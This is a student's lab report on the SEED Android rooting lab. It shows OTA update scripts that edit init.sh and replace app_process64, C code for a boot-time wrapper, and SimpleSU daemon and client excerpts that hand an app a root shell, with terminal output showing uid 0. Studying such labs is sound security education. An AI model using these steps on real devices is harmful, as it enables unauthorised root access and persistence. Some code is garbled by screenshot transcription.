Lab Task 1: Build a simple OTA package

Step 1: Write the update script

In the Ubuntu VM, we create the structure of OTA package named AR with a dummy file in META-INF/com/google/android that contains an echo command. Our goal of this OTA is to create a dummy file in /system/xbin directory in Android. We create dummy.sh which will store hello in a dummy file named dummy in /system. The following shows the same

```
[12/06/19]seed@VM:~$ mkdir -p AR/META-INF/com/google/android
[12/06/19]seed@VM:~$ ls
android Customization
                          exploit.py
                                      Lab3
                                             Pictures
                                                         Task 3 Task8
Android Desktop
                                      Lab4
                          get-pip.py
                                             Public
                                                         Task 4
                                                                Task9
AR
        Documents
                          input
                                      Lab8
                                             source
                                                         Task 5 Templates
bin
                                      lib
                                             TA Session Task6
                                                                 Videos
        Downloads
                          Lab
        examples.desktop Lab2
                                      Music Task 2
                                                         Task7
[12/06/19]seed@VM:~$ cd AR/META-INF/com/google/android/
[12/06/19]seed@VM:~/.../android$ gedit dummy.sh
[12/06/19]seed@VM:~/.../android$ cat dummy.sh
echo hello > /system/dummy
[12/06/19]seed@VM:~/.../android$
```

We then create update-binary file that is executed by the recovery OS to apply OTA updates. It will copy our dummy file to /system/xbin folder, make it executable and edit the init.sh file to include our dummy.sh so that it is automatically executed with the root privilege when Android boots up.

```
[12/06/19]seed@VM:~/.../android$ gedit update-binary
[12/06/19]seed@VM:~/.../android$ cat update-binary
cp dummy.sh /android/system/xbin
chmod a+x /android/system/xbin/dummy.sh
sed -i "/return 0/i/system/xbin/dummy.sh" /android/system/etc/init.sh
[12/06/19]seed@VM:~/.../android$ chmod a+x update-binary
[12/06/19]seed@VM:~/.../android$ ls -l
total 8
-rw-rw-r-- 1 seed seed 27 Dec 6 16:15 dummy.sh
-rwxrwxr-x 1 seed seed 143 Dec 6 21:20 update-binary
[12/06/19]seed@VM:~/.../android$
```

Step 2: Build the OTA Package.

Now, we Switch to directory containing AR/ folder and we archive the folder.

```
[12/06/19]seed@VM:~$ pwd
/home/seed
[12/06/19]seed@VM:~$ ls | grep AR

AR
[12/06/19]seed@VM:~$ zip -r AR.zip AR
adding: AR/ (stored 0%)
adding: AR/META-INF/ (stored 0%)
adding: AR/META-INF/com/ (stored 0%)
adding: AR/META-INF/com/google/ (stored 0%)
adding: AR/META-INF/com/google/android/ (stored 0%)
adding: AR/META-INF/com/google/android/dummy.sh (stored 0%)
[12/06/19]seed@VM:~$ ls | grep AR

AR
AR.zip
[12/06/19]seed@VM:~$
```

Step 3: Run the OTA Package

First, we boot onto the Recovery OS in Android VM and check for the IP address of the OS.

```
Ubuntu 16.04.4 LTS recovery tty1
recovery login: seed
assword:
ast login: Fri May 18 15:17:56 EDT 2018 on tty1.
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–116–generic x86_64)
* Documentation: https://help.ubuntu.com
                   https://landscape.canonical.com
https://ubuntu.com/advantage
 * Management:
* Support:
seed@recovery:~$ ifconfig
         Link encap:Ethernet HWaddr 08:00:27:c9:e5:b1
          inet addr:10.0.2.78 Bcast:10.0.2.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec9:e5b1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:41 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8445 (8.4 KB) TX bytes:2898 (2.8 KB)
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:11840 (11.8 KB) TX bytes:11840 (11.8 KB)
```

We then move the zip file over to the Recovery OS in the /tmp folder.

In the Recovery OS, we unzip the received file.

```
seed@recovery:~$ cd /tmp
seed@recovery:/tmp$ ls

AR.zip systemd-private-2cc853c6c44c47979b6d732dd0788831-systemd-timesyncd.service-QxDFm1
seed@recovery:/tmp$ unzip AR.zip
Archive: AR.zip
creating: AR/
creating: AR/META-INF/
creating: AR/META-INF/com/
creating: AR/META-INF/com/google/
creating: AR/META-INF/com/google/android/
extracting: AR/META-INF/com/google/android/dummy.sh
inflating: AR/META-INF/com/google/android/update-binary
seed@recovery:/tmp$
```

We then execute the update-binary file using sudo ./update-binary command and reboot the system. When the Android VM completes rebooting, we launch the Terminal and check the /system directory and verify result whether a dummy file was created. Also, we check the xbin folder to see if the dummy shell script has been created.

This screenshot indicates that we were successful in creating a file in a folder that required root privileges by modifying the init.sh file that allows us to run the program automatically with the root privileges during the initialization of the under-lying Linux OS of the Android.

Lab Task 2: Inject code via app process

Now we perform the same attack using the app_process program running with root privileges during the bootstrapping process of Android. In addition for the app_process to run the Zygote daemon, we also run something else of our own choice. We rename the original app process binary to app process original and call our program the app process. In our program, we first write something to the dummy file, and then invoke the original app process program. We save this file as app_process.c.

```
app_process.c (~/ARLab) - gedit
           FR.
 Open ▼
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char** environ:
int main(int argc, char** argv) {
//Write the dummy file
FILE* f = fopen("/system/dummy2", "w");
if (f == NULL) {
printf("Permission Denied.\n");
exit(EXIT FAILURE);
fclose(f);
//Launch the original binary
char* cmd = "/system/bin/app_process_original";
execve(cmd, argv, environ);
//execve() returns only if it fails
return EXIT_FAILURE;
```

We first create app process.c, Application.mk, Android.mk in our SEED Ubuntu OS.

```
Terminal
[12/06/19]seed@VM:~$ cd ARLab/
[12/06/19]seed@VM:~/ARLab$ gedit app_process.c
[12/06/19]seed@VM:~/ARLab$ gedit gedit Application.mk
[12/06/19]seed@VM:~/ARLab$ gedit Android.mk
```

The following screenshot shows the content of the rest 2 files:

```
[12/06/19]seed@VM:~/ARLab$ ls
Android.mk Application.mk app_process.c
[12/06/19]seed@VM:~/ARLab$ cat Application.mk
APP_ABI := x86
APP_PLATFORM := android-21
APP_STL := stlport_static
APP_BUILD_SCRIPT := Android.mk
[12/06/19]seed@VM:~/ARLab$ cat Android.mk
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := app_process
LOCAL_SRC_FILES := app_process.c
include $(BUILD_EXECUTABLE)
[12/06/19]seed@VM:~/ARLab$
```

Step 1. Compile the code.

We make changes in Android.mk to include our app_process.c and then compile Application.mk using NDK libraries. We see that the binaries have been created in libs/x86 folder.

```
[12/06/19]seed@VM:~/ARLab$ export NDK_PROJECT_PATH=.
[12/06/19]seed@VM:~/ARLab$ ndk-build NDK_APPLICATION_MK=./Application.mk
Compile x86 : app_process <= app_process.c
Executable : app_process
Install : app_process => libs/x86/app_process
[12/06/19]seed@VM:~/ARLab$ ls
Android.mk Application.mk app_process.c libs obj
[12/06/19]seed@VM:~/ARLab$ cd libs
[12/06/19]seed@VM:~/.../libs$ ls
x86
[12/06/19]seed@VM:~/.../libs$ cd x86
[12/06/19]seed@VM:~/.../libs$ cd x86
[12/06/19]seed@VM:~/.../x86$ ls
app_process
```

Step 2. Write the update script and build OTA package.

We copy the previously created binary file in the android folder of the OTA package.

```
[12/06/19]seed@VM:~/.../android$ pwd
/home/seed/ARLab/task2/META-INF/com/google/android
[12/06/19]seed@VM:~/.../android$ cp ../../../libs/x86/app_process ./
[12/06/19]seed@VM:~/.../android$ ls
app_process
```

We create update-binary to rename the original app_process64 and then copy our app_process to replace the original one. We also make it executable.

```
[12/06/19]seed@VM:~/.../android$ gedit update-binary
[12/06/19]seed@VM:~/.../android$ cat update-binary
mv /android/system/bin/app_process64 /android/system/bin/app_process_original
cp app_process /android/system/bin/app_process64
chmod a+x /android/system/bin/app_process64
[12/06/19]seed@VM:~/.../android$ chmod a+x update-binary
[12/06/19]seed@VM:~/.../android$
```

We start the recover OS on the Android VM and check for the IP address.

```
Ubuntu 16.04.4 LTS recovery tty1
recovery login: seed
assword:
ast login: Fri May 18 15:17:56 EDT 2018 on tty1.
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–116–generic x86_64)
* Documentation: https://help.ubuntu.com
                      https://landscape.canonical.com
 * Support:
                     https://ubuntu.com/advantage
seed@recovery:~$ ifconfig
          Link encap:Ethernet HWaddr 08:00:27:c9:e5:b1 inet addr:10.0.2.78 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fec9:e5b1/64 Scope:Link
enp0s3
           UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
           RX packets:13 errors:0 dropped:0 overruns:0 frame:0
           TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000
RX bytes:6497 (6.4 KB) TX bytes:2210 (2.2 KB)
10
           Link encap:Local Loopback
           inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
           UP LOOPBACK RUNNING MTU:65536 Metric:1
           RX packets:160 errors:0 dropped:0 overruns:0 frame:0
           TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1
           RX bytes:11840 (11.8 KB) TX bytes:11840 (11.8 KB)
seed@recovery:~$
```

We then archive our folder and send it over the recovery OS.

We unzip task2.zip and run update-binary and reboot to Android OS.

```
seed@recovery:^$ cd /tmp
seed@recovery:/tmp$ ls
systemd-private-e9e434b853db41ec8cd262732eff6cdd-systemd-timesyncd.service-UvEoFP task2.zip
seed@recovery:/tmp$ unzip task2.zip
Archive: task2.zip
    creating: task2/
    creating: task2/META-INF/
    creating: task2/META-INF/com/
    creating: task2/META-INF/com/google/
    creating: task2/META-INF/com/google/android/
    inflating: task2/META-INF/com/google/android/update-binary
    inflating: task2/META-INF/com/google/android/
seed@recovery:/tmp$ cd task2/META-INF/com/google/android/
seed@recovery:/tmp/task2/META-INF/com/google/android$ sudo ./update-binary
[sudo] password for seed:
seed@recovery:/tmp/task2/META-INF/com/google/android$
```

In Android OS, we open a terminal and check the system directory.

We see that dummy2 is created in /system directory which tells us that our code was compiled successfully, and OTA was flashed. This proves that we can use the app_process during the bootstrapping process to write to a root-protected folder.

Task 3: Implement SimpleSU for Getting Root Shell

Now, we perform a similar attack to gain root shell. We first download Simplesu.zip and extract it. We run bash compile_all.sh which generates the binaries of mydaemonsu and mysu as seen in the following screenshot.

```
🔞 🖨 📵 Terminal
[12/06/19]seed@VM:~$ cd ARLab2
[12/06/19]seed@VM:~/ARLab2$ ls
SimpleSU
                          task3 task3.zip
         SimpleSU(1).zip
[12/06/19]seed@VM:~/ARLab2$ cd SimpleSU/
[12/06/19]seed@VM:~/.../SimpleSU$ bash compile all.sh
////////Build Start/////////
Compile x86
            : mydaemon <= mydaemonsu.c
Compile x86
              : mydaemon <= socket util.c
Executable
             : mydaemon
             : mydaemon => libs/x86/mydaemon
Install
Compile x86 : mysu <= mysu.c
Compile x86 : mysu <= socket util.c
Executable
              : mysu
Install
             : mysu => libs/x86/mysu
////////Build End////////////
[12/06/19]seed@VM:~/.../SimpleSU$
```

We copy these two binaries in the OTA package in the following location: task3/x86

```
[12/06/19]seed@VM:~/ARLab2$ ls

SimpleSU SimpleSU.zip task3

[12/06/19]seed@VM:~/ARLab2$ cd task3/

[12/06/19]seed@VM:~/.../task3$ ls

META-INF x86

[12/06/19]seed@VM:~/.../task3$ cd x86

[12/06/19]seed@VM:~/.../x86$ ls

mydaemon mysu

[12/06/19]seed@VM:~/.../x86$
```

We also create update-binary to move our newly compiled binaries to their corresponding locations in android /system directories. We also include the commands to make the binaries executable.

```
[12/06/19]seed@VM:~/.../android$ gedit update-binary
[12/06/19]seed@VM:~/.../android$ cat update-binary
mv /android/system/bin/app_process64 /android/system/bin/app_process_original
cp ../../../x86/mydaemon /android/system/bin/app_process64
cp ../../../x86/mysu /android/system/xbin/mysu
chmod a+x /android/system/xbin/mysu
chmod a+x /android/system/bin/app_process64
[12/06/19]seed@VM:~/.../android$ chmod a+x update-binary
[12/06/19]seed@VM:~/.../android$ ls -l
total 4
-rwxrwxr-x 1 seed seed 270 Dec 6 19:47 update-binary
[12/06/19]seed@VM:~/.../android$
```

We then start the recovery OS on the Android VM and check the IP address:

```
SEEDAndroid (Snapshot 1) [Running]
Ubuntu 16.04.4 LTS recovery tty1
recovery login: seed
Password:
Last login: Fri May 18 15:17:56 EDT 2018 on tty1
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–116–generic x86_64)
* Documentation: https://help.ubuntu.com
* Management:
                    https://landscape.canonical.com
                    https://ubuntu.com/advantage
* Support:
seed@recovery:~$ ifconfig
enp0s3
         Link encap:Ethernet HWaddr 08:00:27:c9:e5:b1
          inet addr:10.0.2.78 Bcast:10.0.2.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec9:e5b1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6795 (6.7 KB) TX bytes:2448 (2.4 KB)
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536
                                              Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
           TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:11840 (11.8 KB) TX bytes:11840 (11.8 KB)
seed@recovery:~$ _
```

We archive the task3 folder and transfer the archive over to the Recovery OS.

```
[12/06/19]seed@VM:~/ARLab2$ zip -r task3.zip task3
  adding: task3/ (stored 0%)
 adding: task3/x86/ (stored 0%)
 adding: task3/x86/mydaemon (deflated 60%)
 adding: task3/x86/mysu (deflated 67%)
 adding: task3/META-INF/ (stored 0%)
 adding: task3/META-INF/com/ (stored 0%)
 adding: task3/META-INF/com/google/ (stored 0%)
  adding: task3/META-INF/com/google/android/ (stored 0%)
  adding: task3/META-INF/com/google/android/update-binary (deflated 64%)
[12/06/19]seed@VM:~/ARLab2$ scp task3.zip seed@10.0.2.78:/tmp
seed@10.0.2.78's password:
task3.zip
                                              100% 8337
                                                           8.1KB/s
                                                                      00:00
```

We unzip our transferred archive. We go over to /android directory and run update-binary. We then reboot to Android OS.

```
seed@recovery:~$ cd /tmp/
seed@recovery:/tmp$ ls
seed@recovery:/tmp$ unzip task3.zip
Archive: task3.zip
  creating: task3/
   creating: task3/x86/
  inflating: task3/x86/mydaemon
  inflating: task3/x86/mysu
  creating: task3/META-INF/
  creating: task3/META-INF/com/
  creating: task3/META-INF/com/google/
  creating: task3/META-INF/com/google/android/
inflating: task3/META–INF/com/google/android/update–binary
eed@recovery:/tmp$ cd task3/META–INF/com/google/android/
seed@recovery:/tmp/task3/META–INF/com/google/android$ sudo ./update–binary
[sudo] password for seed:
eed@recovery:/tmp/task3/META-INF/com/google/android$ sudo reboot:
```

In Android OS, we open a terminal and check our current id. We then run mysu, which will run our compiled binary, giving us root privileges if the attack is successful. We then run id command again to verify whether we have root privilege.

```
↔ 📱 1:20
x86_64:/ $ id
id=10036(u0_a36) gid=10036(u0_a36) groups=10036(u0_a36),3003(inet),9997(everybody),5
0036(all_a36) context=u:r:untrusted_app:s0:c512,c768
x86 64:/ $ mysu
WARNING: linker: /system/xbin/mysu has text relocations. This is wasting memory and p
revents security hardening. Please fix.
start to connect to daemon
sending file descriptor
STDIN O
STDOUT 1
STDERR 2
/system/bin/sh: No controlling tty: open /dev/tty: No such device or address
/system/bin/sh: warning: won't have full job control
x86_64:/ # id
uid=0(root)_gid=0(root) groups=0(root) context=u:r:init:s0
x86_64:/ #
```

Here, we can see that the file descriptors in use for mysu – user ID u0_a36 and /system/bin/sh – user ID root are the same. We can do this comparison using the Process ID and Parent Process ID. The Process ID is given by the second column and the third column indicates the Parent Process ID. We see that u0_a36 with CMD option as mysu has the Parent Process ID as the same as that of u0_a36 with CMD option /system/bin/sh – 3116. So, the parent process has the same file descriptors as that of process with user ID root and CMD /system/bin/sh. Hence, we prove that the client process and the shell process do share the same standard input/output devices

```
x86_64:/ # ps | grep sh
        557 2
                   0
                                        0 0000000000 S SquashFS read w
root
                          0
        1039 1
                    8316
                          2676
                                       0 0000000000 S /system/bin/sh
root
shell
        1040 1
                    7064
                                       0 0000000000 S /sbin/adbd
                          1196
        3116 3096 8316
u0_a36
                          2764
                                       0 0000000000 S /system/bin/sh
root
        3128 1070 8316
                          2728
                                        0 0000000000 S /system/bin/sh
x86_64:/ # ls proc/1039/fd/
0 1 10 2
x86_64:/ # ps | grep mysu
                                        0 0000000000 S mysu
u0_a36 3127 3116 5064
                          1956
x86_64:/ # ls proc/3127/fd/
0 1 2 3
x86_64:/ # ls proc/3116/fd/
0 1 10 2
x86_64:/ #
```

Now, the following actions occur in the corresponding lines of the code:

 Server launches the original app process binary Filename – mydaemonsu.c Function name – main()
 Line number – 255

```
mydaemonsu.c
                            mysu.c
244
     }
245
      int main(int argc, char** argv) {
246
247
          pid t pid = fork();
248
          if (pid == \theta) {
249
              //initialize the daemon if not running
250
              if (!detect daemon())
251
                  run daemon(argv);
              }
252
253
          else {
              argv[0] = APP PROCESS;
254
              execve(argv[0], argv, environ);
255
          }
256
257
      }
258
```

Client sends its FDs
 Filename – mysu.c
 Function name – connect_daemon()
 Line number – 112-114

```
¬/ARLab2/SimpleSU/mysu/mysu.c - Sublime Text (UNREGISTERED)

      mydaemonsu.c
                          mysu.c
 97
     //pass stdin, stdout, stderr to server
 98
     //hold the session to operate the root shell created and linked by server
 99
     int connect daemon() {
100
101
          //get a socket
102
         int socket = config socket();
103
104
          //do handshake
105
         handshake_client(socket);
106
107
         ERRMSG("sending file descriptor \n");
108
          fprintf(stderr, "STDIN %d\n", STDIN_FILENO);
          fprintf(stderr, "STDOUT %d\n", STDOUT FILENO);
109
          fprintf(stderr, "STDERR %d\n", STDERR FILENO);
110
111
112
          send_fd(socket, STDIN_FILENO);
                                             //STDIN FILENO = 0
113
          send_fd(socket, STDOUT_FILENO);
                                             //STDOUT FILENO = 1
114
          send fd(socket, STDERR FILENO);
                                              //STDERR FILENO = 2
115
```

Server forks to a child process
 Filename – mydaemonsu.c
 Function name – run_daemon ()
 Line number – 189

```
mydaemonsu.c
                            mysu.c
 184
 185
          //wait for connection
 186
          //and handle connections
187
           int client;
          while ((client = accept(socket, NULL, NULL)) > 0) {
188
189
               if (0 == fork()) {
190
                   close(socket);
191
                   ERRMSG("Child process start handling the connection\n");
192
                   exit(child_process(client,argv));
193
                   child process(client, argv);
194
               }
195
               else {
196
                   close(client);
197
               }
198
```

 Child process receives client's FDs Filename – mydaemonsu.c Function name –child_process()
Line number – 147-149

```
mysu.c
       mydaemonsu.c
132
          }
 133
 134
          return socket_fd;
 135
 136
     err:
 137
          close(socket fd);
 138
          exit(EXIT_FAILURE);
 139
 140
 141
      //the code executed by the child process
 142 //it launches default shell and link file descriptors passed from client si
 143 int child_process(int socket, char** argv){
 144
          //handshake
145
          handshake_server(socket);
146
147
          int client_in = recv_fd(socket);
148
          int client_out = recv_fd(socket);
149
          int client_err = recv_fd(socket);
150
```

 Child process redirects its standard I/O FDs Filename – mydaemonsu.c Function name – child_process() Line number – 152-154

```
mydaemonsu.c x mysu.c x

150
151
152 dup2(client_in, STDIN_FILENO); //STDIN_FILENO = 0
153 dup2(client_out, STDOUT_FILENO); //STDOUT_FILENO = 1
154 dup2(client_err, STDERR_FILENO); //STDERR_FILENO = 2
155
```

 Child process launches a root shell Filename – mydaemonsu.c Function name –child_process() Line number – 162